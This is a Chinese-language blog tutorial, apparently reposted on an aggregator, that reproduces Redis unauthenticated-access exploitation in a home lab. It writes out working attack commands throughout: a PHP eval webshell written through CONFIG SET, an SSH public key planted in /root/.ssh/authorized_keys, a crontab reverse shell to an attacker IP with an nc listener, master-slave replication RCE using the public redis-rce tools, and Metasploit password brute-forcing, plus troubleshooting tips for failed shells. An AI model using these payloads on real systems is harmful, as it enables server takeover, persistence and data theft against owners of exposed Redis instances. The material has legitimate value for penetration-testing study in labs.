Redis未授权漏洞复现及利用(window,linux)

这篇具有很好参考价值的文章主要介绍了Redis未授权漏洞复现及利用(window,linux)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

1.了解redis

2.redis漏洞原理

3.redis漏洞复现

3.1 安装redis

3.1.1 Linux安装redis

 3.1.2 windows安装redis

4.redis漏洞利用

4.1利用redis漏洞写webshell

4.1.1利用前提

4.1.2上传webshell

4.2利用redis漏洞ssh密钥连接

4.2.1 ssh密钥连接

4.2.2 利用前提

4.2.3 客户端生成密钥

 4.2.4注意

4.3利用crontab反弹shell

4.3.1下载nc

4.3.2 上传反弹shell命令

4.3.3解决redis crontab反弹shell失败

4.4利用redis主从复制反弹shell

4.4.1 了解redis主从复制

4.4.2主从复制反弹shell

5.利用msf破解redis密码

1.了解redis

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivota赞助。

2.redis漏洞原理

Redis默认情况下是绑定在0.0.0.0:6379端口的,如果没有设置密码(一般密码为空)或者密码为弱密码的情况下并且也没有进行有效保护措施,那么处于公网的redis服务就会被任意的用户未授权访问,读取数据,甚至利用redis自身的命令,进行写入文件操作,这样就会恶意攻击者利用redis未授权漏洞进行进一步攻击。

3.redis漏洞复现

我看很多redis漏洞复现靶机和攻击机都是linux系统的,如果你是这样的那么网上比较多这样复现文章,也比较简单。本文是攻击机是windows和靶机是Linux,kali虚拟机之间的漏洞复现。

攻击机:window10 专业版 ip 192.168.43.102

靶机:linux kali ip192.168.43.141

3.1 安装redis

3.1.1 Linux安装redis

因为我之前已经安装过了就不把步骤截图了,代码步骤已经给大家写清楚了,实在不会就自己百度。可能在make时候报错,可能是你gcc没有下载。

第一步 wget http://download.redis.io/releases/redis-2.8.17.tar.gz#下载redis
第二步 tar xzf redis-2.8.17.tar.gz#解压安装包
第三步 cd redis-2.8.17 #进入redis文件夹
第四步 make #在redis-2.8.17文件夹下执行make
第五步 cd src#进入redis-2.8.17文件夹下的src文件夹
第六步 cp redis-server /usr/bin
第七步 cp redis-cli /usr/bin #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
第八步 cp redis-conf /etc/ #返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下
第九步 redis-server /etc/redis.conf #使用/etc/目录下的reids.conf文件中的配置启动redis服务

Redis未授权漏洞复现及利用(window,linux)

Redis未授权漏洞复现及利用(window,linux)

可以看到我在任何地方都可以启动redis服务端。

 3.1.2 windows安装redis

首先自己去下载redis压缩包,直接解压。官网自己去下载。在redis文件夹下运行cmd,如果你的redis服务端开启,执行下面代码就进行连接

redis-cli.exe -h 192.168.43.141 #ip是你靶机的IP地址,端口可加可不加。
#redis-cli.exe -h 192.168.43.141 -p 6379
#如果是linux连接
redis-cli -h ip

Redis未授权漏洞复现及利用(window,linux)

 Redis未授权漏洞复现及利用(window,linux)

 到目前为止redis未授权漏洞我们已经复现成功,接下来就是漏洞利用。

注意:如果是版本比较高的redis需要修改redis的配置文件,linux是redis.conf。如果是windows配置文件是redis.windows.conf。将bind前面#注释符去掉,将protected-mode 后面改为no。

Redis未授权漏洞复现及利用(window,linux)

 Redis未授权漏洞复现及利用(window,linux)

4.redis漏洞利用

4.1利用redis漏洞写webshell

4.1.1利用前提

1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证

2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(开启web服务器,就可以利用url使用蚁剑进行连接)

4.1.2上传webshell

config get dir #查看redis数据库路径
config set dir /root/redis-2.8.17# #修改靶机Redis数据库路径
config set dbfilename 22.php #生成22.php文件
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"#将一句话木马写入文件中
#"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"#上传木马可以通过蚁剑连接
save#保存

Redis未授权漏洞复现及利用(window,linux)

Redis未授权漏洞复现及利用(window,linux)

 经过上述代码操作,可以看到22.php文件成功写入到/root/redis-2.8.17文件夹下,且一句话木马成功写入22.php文件里面。如果开启web服务就可以将一句话木马写入网站目录下,那么利用一句话木马就可以得到敏感信息。或者可以通过蚁剑连接。具体步骤可以看下面。蚁剑连接密码就是whoami,不会蚁剑这个自己再学习这方面知识了。

Redis未授权漏洞复现及利用(window,linux) Redis未授权漏洞复现及利用(window,linux)

Redis未授权漏洞复现及利用(window,linux)

 Redis未授权漏洞复现及利用(window,linux)

 

4.2利用redis漏洞ssh密钥连接

4.2.1 ssh密钥连接

大家都知道可以通过ssh远程登录另外一台电脑。ssh登录有两种一个是密码登录,一个是密钥登录我们主要看密钥登录是什么流程,公钥登录是为了解决每次登录服务器都要输入密码的问题,流行使用RSA加密方案,主要流程包含:

1、客户端生成RSA公钥和私钥

2、客户端将自己的公钥存放到服务器

3、客户端请求连接服务器,服务器将一个随机字符串发送给客户端

4、客户端根据自己的私钥加密这个随机字符串之后再发送给服务器

5、服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码了。

4.2.2 利用前提

1.当redis以root身份运行。

2.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证。

3.存在/root/.ssh目录,如果不存在我们可以通过一句话木马连接蚁剑创建目录不过可能进不去root目录权限问题可能或者自己mkdir一个目录毕竟是自己搭建靶场。因为.ssh是隐藏目录可以通过ls -la查看有没有。

4.2.3 客户端生成密钥

我是windows没有办法直接生成密钥所以需要安装git,可以自己百度安装流程,从官网下载的安装包。如果不想这么麻烦可以在靶机linux系统直接运行代码生成密钥再将密钥复制粘贴出来,或者开启web服务下载,毕竟我们只是演练。

1.安装好git,在桌面右击进入Git Bash Here 。输入下面指令生成密钥。在你用户名文件夹下.ssh文件里面就会出现公钥和私钥。

ssh-keygen -t rsa

Redis未授权漏洞复现及利用(window,linux)

Redis未授权漏洞复现及利用(window,linux)

 Redis未授权漏洞复现及利用(window,linux)

 2.生成密钥之后我们可以将公钥id_rsa.pub里面内容复制粘贴到key.txt文件中,再上传到靶机上面

Redis未授权漏洞复现及利用(window,linux)

 3.通过以下命令将公钥上传到靶机。

type key.txt | redis-cli.exe -h 192.168.43.141 -x set xxx#如果是linux 将type换成cat
#将公钥作为value插入到数据库中,key随便啥值。
redis-cli.exe -h 192.168.43.141 config set dir /root/.ssh
#修改redis数据库路径
redis-cli.exe -h 192.168.43.141 config set dbfilename authorized_keys
#生成缓冲文件authorized_keys
redis-cli.exe -h 192.168.43.141 save
#保存
ssh -i id_rsa root@192.168.43.141
#连接

 Redis未授权漏洞复现及利用(window,linux)

可以看到之前是没有authorized_keys文件,执行命令之后在/root/.ssh下面产生了公钥文件。

Redis未授权漏洞复现及利用(window,linux)

 4.成功利用ssh私钥进行连接。Redis未授权漏洞复现及利用(window,linux)

 4.2.4注意

1.如果你是linux系统使用cat,是windows系统使用type.

2.如果你是windows那你利用ssh密钥连接运行ssh -i id_rsa root@192.168.43.141需要在.ssh目录下,因为权限问题。

3.你利用redis上传公钥时候运行代码是在你解压的redis文件下运行。

4.文件名必须是authorized_keys,由配置文件决定的。

4.3利用crontab反弹shell

首先大家要知道crontab是什么,主要是用来定时执行某些任务,如果我们把一些命令放入指定文件里面,那么程序会定时去执行,相当于是每隔一段时间自动执行命令,不用担心当我们关闭会话或者目标主机关机,这个对我们后期持久化渗透是很有帮助的。

4.3.1下载nc

如果你的攻击机是kali是自带nc,如果像我一样是windows需要自己去下载一个nc,安装很简单,nc下载地址netcat 1.11 for Win32/Win64,安装好nc,打开cmd,输入命令监听你反弹shell的端口,这个端口随便设置的,主要取决你反弹命令里面设置的端口。

nc -lvp 8888

4.3.2 上传反弹shell命令

首先我们需要定位到我们需要的文件路径下,因为在/var/spool/cron/crontabs/下如果文件名是root,那么会定时执行里面的命令。这个目录不同操作系统是不一样我的是debain的。具体步骤如下:

redis-cli.exe -h 192.168.43.141
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.43.102/8888 0>&1\n\n"
#前面五个星号分别表示 分 时 天 月 周 一般用于具体的定时时间。后面就是执行的命令。\n\n是换行前面已经说过,因为redis会出现乱码,可以通过上传的root文件看到有乱码。
save

Redis未授权漏洞复现及利用(window,linux)

可以看到成功上传反弹命令

Redis未授权漏洞复现及利用(window,linux)

4.3.3解决redis crontab反弹shell失败

当我们攻击机利用nc开启8888端口监听,一直没有收到反弹的shell,所以我进行了一下排查原因,也许你们也会需要同样情况

Redis未授权漏洞复现及利用(window,linux)

第一个:首先你要看一下你的cron启动没有,可以先查看状态如果是running,那就不用管,如果不是就需要启动一下,一般而言cron都是自启动的。所以一般来说不会是这个出问题。

service crond restart#重启
service crond start#启动
service crond stop#关闭
service crond status#查看状态

第二个:我发现我的cron启动了但是依然无法反弹shell,去找了资料知道利用redis未授权访问写的任务计划文件都有乱码,这是乱码来自redis的缓存数据,这个问题无法解决的。centos会忽略乱码去执行格式正确的任务计划,而ubuntu和debian并不会忽略这些乱码,所以导致命令执行失败。我们手动删除乱码发现反弹仍然失败,查看资料发现我们还需要关注以下问题。

第三个:root文件的权限必须为600也就是说是rw-----------

Redis未授权漏洞复现及利用(window,linux)

chmod 600 root#修改root文件权限

第四个:我们反弹shell的/bin/sh是bash,而我的靶机的bin/sh是dash ,所以运行出错。我们需要通过以下命令查看和修改。

ls -al /bin/sh#查看运行环境
ln -s -f bash /bin/sh#修改为bash

Redis未授权漏洞复现及利用(window,linux)

 当我们按照上述步骤修改完成可以看到反弹成功。但是ifconfig不能执行可以通过下面代码是的ifconfig成功执行。 

ln -s /usr/sbin/ifconfig /usr/bin/ifconfig

Redis未授权漏洞复现及利用(window,linux)

总结:计时任务反弹shell 如果是ubuntu和debian操作系统这个就没有办法利用成功,centos操作系统是可以的利用的

4.4利用redis主从复制反弹shell

4.4.1 了解redis主从复制

redis主从复制我们简单理解为有两台redis服务器,一个是主,一个是从,两台服务器的数据是一样的,主服务器负责写入数据,从服务器负责读取数据。一般一个主服务器有好几个从服务器,且从服务器可能也是其他redis服务器的主服务器。这样的好处就是如果主服务器或者一个从服务器崩溃不会影响数据完整性,且读写分开,减轻服务器压力。这个大家自己找一些资料了解一下。

4.4.2主从复制反弹shell

如果要是的利用成功需要先下载攻击代码,步骤已经给到大家。这步骤是linux的下载步骤,windows可以直接将这个linux里面redis-rce文件夹复制过来就行了。当然module.so已经移过来了。这个exp我感觉是针对Linux的,可能跟他调用命令函数有关是linux函数。windows系统可以产生shell但是写命令没有反应,所以这里我的靶机和攻击机就要换过来。因为我这个是我在家实验的所以网段和上面就不一样了。这里还有注意如果利用redis主从复制redis版本要是4.x或者5.x

靶机:kali 192.168.3.231

攻击机 windows 192.168.3.207

第一步:git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
        #下载RedisModules-ExecuteCommand
第二步:git clone https://github.com/Ridter/redis-rce
        #下载redis-rce
第三步:cd RedisModules-ExecuteCommand
第四步:make
        #进入RedisModules-ExecuteCommand 使用make进行编译
第五步:mv module.so /root/redis-rce
        #编译之后将module.so移到redis-rce
第六步:cd /root/redis-rce
第七步:python3 redis-rce.py -r 192.168.3.207 -L 192.168.3.231 -f module.so  
        #进入到redis-rce 执行命令,-r是目标IP -L是攻击机ip     

靶机开启redis服务端。

Redis未授权漏洞复现及利用(window,linux)

 攻击机利用redis进行连接。Redis未授权漏洞复现及利用(window,linux)

 我直接将redis-rce复制到windows里面Redis未授权漏洞复现及利用(window,linux)

运行代码发现报错,排查了一下是因为six模块没有安装,通过以下命令进行安装.,如果大家运行报错可以看看代码导入的模块有没有安装。

pip install six

 Redis未授权漏洞复现及利用(window,linux)

 安装six之后就没有报错了,可以看到一些参数,-r指的是靶机IP  -L指的是攻击机IP,如果没有指定端口就会使用默认端口。Redis未授权漏洞复现及利用(window,linux)

运行以下命令,会让你选择,可以输入i,r,e分别对应交互式shell,反弹shell和退出吧。

python redis-rce.py -r 192.168.3.231 -L 192.168.3.207 -f module.so

Redis未授权漏洞复现及利用(window,linux)

Redis未授权漏洞复现及利用(window,linux)

我选择交互式shell ,输入命令可以看到用户是root 还有网络信息。当然可以选择反弹shell。需要现在攻击机利用nc开启监听。等待片刻就可以了。

Redis未授权漏洞复现及利用(window,linux)

 Redis未授权漏洞复现及利用(window,linux)

注意:如果redis需要密码,可以加-a参数。

5.利用msf破解redis密码

攻击机:kali 192.168.3.231

靶机:windows 192.168.3.207

首先我们将redis设置一个密码,找到配置文件设置一个密码。Redis未授权漏洞复现及利用(window,linux)

 msf是kali自带的一个攻击工具,里面有一些针对出现漏洞的exp。不过缺点就是更新不会很及时。

msfdb run#开启msf
search redis#查看有关redis的模块
use 5#选择5号模块
show options #展示需要设置的参数
set RHOST 192.168.3.207 #设置靶机的ip
run #运行模块

Redis未授权漏洞复现及利用(window,linux)

 Redis未授权漏洞复现及利用(window,linux)

Redis未授权漏洞复现及利用(window,linux)

 可以看到成功爆出密码,不过这个使用的是msf自带的密码字典,所以对于复杂密码就不行了,可以使用自己字典。可以使用编号为2的redis_server密码登录验证。可以使用编号为4的file_upload进行文件上传。可以上传一句话木马和密钥。原理和客户端连接是一样的。

Redis未授权漏洞复现及利用(window,linux)

 好了终于将redis漏洞写完了,大家最好不用windows,太麻烦了。不过用来也没有关系,我已经给大家将坑填完了。总之这通过自己努力解决了很多问题,也是一种成就感。大家加油啊文章来源地址https://www.toymoban.com/news/detail-403176.html

到了这里,关于Redis未授权漏洞复现及利用(window,linux)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 数据库安全-Redis未授权&Hadoop&Mysql&未授权访问&RCE 漏洞复现

    未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露,包括端口的未授权常见页面的未授权 /admin.php /menu.php 常见的未授权访问漏洞及默认端口: 默认端口统

    2024年02月03日
    浏览(49)
  • Redis未授权访问漏洞引出的漏洞利用方式

    redis未授权访问漏洞是一个由于redis服务版本较低其未设置登录密码导致的漏洞,攻击者可直接利用redis服务器的ip地址和端口完成redis服务器的远程登录,对目标服务器完成后续的控制和利用。 redis版本为 4.x/5.0.5 或以前的版本; redis绑定在0.0.0.0:6379,且没有进行添加防火墙规

    2024年02月14日
    浏览(45)
  • H2db console 未授权访问RCE 漏洞复现+利用(CVE-2022-23221)

    H2是Thomas Mueller提供的一个开源的、纯java实现的关系数据库。H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。 H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+ 中修复。2.1.210 之前的 H2 控制台允许远

    2024年02月14日
    浏览(43)
  • 谨防利用Redis未授权访问漏洞入侵服务器

    Redis是一个开源的,由C语言编写的高性能NoSQL数据库,因其高性能、可扩展、兼容性强,被各大小互联网公司或个人作为内存型存储组件使用。 但是其中有小部分公司或个人开发者,为了方便调试或忽略了安全风险,直接用root启动redis,没有设置密码并直接对外开放了6379端口

    2024年02月05日
    浏览(44)
  • 利用kali Linux复现永恒之蓝(MS17-010)漏洞

    目录 什么是永恒之蓝? 永恒之蓝漏洞原理 实验环境 操作前提 实验步骤 (1)复现成功后,执行截图命令 (2)对受害机器建立用户,并且开启受害机器的远程桌面并连接 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒

    2024年02月12日
    浏览(37)
  • 利用Linux目录结构特性引发的解析漏洞分析

    本文通过对Linux目录结构的特性和解析漏洞的分析,结合源码审计的过程,探讨了SESSION值的设置,正则表达式的匹配以及文件写入等技术,帮助读者深入理解此类漏洞的产生、原理和防范方法。

    2024年02月06日
    浏览(50)
  • web渗透测试漏洞复现:Elasticsearch未授权漏洞复现

    Elasticsearch 是一款 Java 编写的企业级搜索服务,它以分布式多用户能力和全文搜索引擎为特点,采用 RESTful web 接口。这款搜索引擎由 Java 开发,作为 Apache 许可下的开源软件发布,是流行的企业级搜索引擎之一。Elasticsearch 的增删改查操作都通过 http 接口完成。开源的版本可能

    2024年04月10日
    浏览(48)
  • springboot未授权漏洞(漏洞复现Springboot未授权访问及修复)

    Actuator 的核心是端点 Endpoint,它用来监视应用程序及交互,spring-boot-actuator 中已经内置了非常多的Endpoint(health、info、beans、metrics、httptrace、shutdown等等),同时也允许我们自己扩展自己的Endpoints。每个 Endpoint 都可以启用和禁用。要远程访问 Endpoint,还必须通过 JMX 或 HTTP 进

    2024年02月05日
    浏览(52)
  • 【Elasticsearch 未授权访问漏洞复现】

    ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完。由于Elasticsearch授权

    2024年02月05日
    浏览(58)
  • Druid未授权访问 漏洞复现

    Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池。Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控。当开发者配置不当时就可能造成未授权访问漏洞。 1、通过目录扫描或手工输入路径http://www.xxxx.com/druid/index.html,发现存在Druid 未授权访

    2024年02月11日
    浏览(46)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包